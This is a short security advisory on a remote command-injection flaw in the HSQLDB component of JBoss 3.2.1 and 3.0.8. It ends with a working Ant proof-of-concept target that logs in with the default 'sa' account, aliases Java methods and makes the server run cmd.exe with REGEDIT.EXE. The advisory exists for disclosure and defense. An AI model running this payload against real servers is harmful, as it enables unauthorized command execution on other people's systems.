source: http://www.securityfocus.com/bid/8773/info

A remote command-injection vulnerability has been reported in JBoss. The issue is reportedly exposed via the HSQLDB component, which is a SQL database server that manages JMS connections. Because of a number of flaws, an attacker can pass commands to the HSQLDB component via the port it listens on. Note that the port may vary between versions; by default it is 1701/TCP for JBoss 3.2.1 and 1476/TCP for 3.0.8.

Attackers can exploit this issue to mount a number of attacks, including execution of database commands, denial-of-service attacks, log manipulation, information disclosure, and execution of operating system commands on some supported platforms.

This issue is reported to exist with JBoss 3.2.1/3.0.8 on any Java 1.4.x-enabled platforms. Other versions may also be affected. 

<target name="cmdinject">
<sql
classpath="hsqldb.jar"
driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:hsql://${host}:${port}"
userid="sa"
password=""
print = "true"
>
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";

CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target>